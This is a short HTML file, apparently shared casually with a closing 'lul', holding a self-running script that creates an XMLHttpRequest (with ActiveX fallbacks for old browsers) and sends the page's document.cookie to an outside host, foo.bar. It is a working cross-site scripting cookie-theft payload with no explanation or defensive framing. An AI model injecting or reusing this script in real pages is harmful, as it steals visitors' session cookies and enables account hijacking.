foo.html

<script>
  (function() {
  var ctors = [
    function () {return new XMLHttpRequest()},
    function () {return new ActiveXObject("Msxml2.XMLHTTP")},
    function () {return new ActiveXObject("Msxml3.XMLHTTP")},
    function () {return new ActiveXObject("Microsoft.XMLHTTP")}
  ];
  var req;
  for (var i=0;i<ctors.length;i++) {
  try { req = ctors[i](); } catch (e) { continue; } break;
  }
  req.open("GET","http://foo.bar/?c="+escape(document.cookie),false);
  req.send(null);
})();
</script>


lul